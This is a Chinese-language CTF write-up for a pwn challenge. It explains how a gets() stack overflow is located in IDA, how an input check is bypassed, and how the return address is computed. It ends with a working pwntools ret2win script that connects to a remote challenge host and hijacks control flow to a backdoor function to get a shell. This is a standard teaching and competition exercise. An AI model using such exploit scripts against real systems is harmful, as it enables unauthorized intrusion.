解题思路

将题目附件拖入IDA打开

左侧可以看到有backdoor后门函数

再看从程序开始执行到vuln函数,有一个gets()函数,这是一个栈溢出漏洞,因为没有对输入做出长度检查,我们可以去进行栈溢出

双击s可以看到s这里的栈布局

也可以在c代码页面中直接看,s这个参数到栈底rbp的距离是0x20

但是在这个溢出点前还有一个taffy()函数,点进去看一下是干什么用的

这里可以看到,这是对输入的字符进行一个比较,但是这是没有什么作用的,所以这里随便填,就能到下面的溢出点了

去查看backdoor()的地址,0x40123B

然后就可以去构造payload了

先发送0x20的垃圾数据填充从s到栈底的空间,再发送一个0x8的数据覆盖rbp,ret地址在rbp的下一位,所以在填充完从s到覆盖rbp的位置后就可以直接传backdoor()的函数

栈空间布局:

画板

解题脚本(exp)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *

#r = process('./pwn')
r = remote('175.24.227.50',35264)

context.arch = 'amd64'
context.log_level = 'info'

elf = ELF('./pwn')
backdoor_addr = 0x40123B
ret_gadget = 0x000000000040101a

offset = 0x20 + 8
payload = b'A' * offset + p64(ret_gadget) + p64(backdoor_addr)

r.sendlineafter('大唐王朝中是谁开疆拓土?'.encode(),b'taffy')

r.sendlineafter('请开始你的表演:'.encode(), payload)
r.interactive()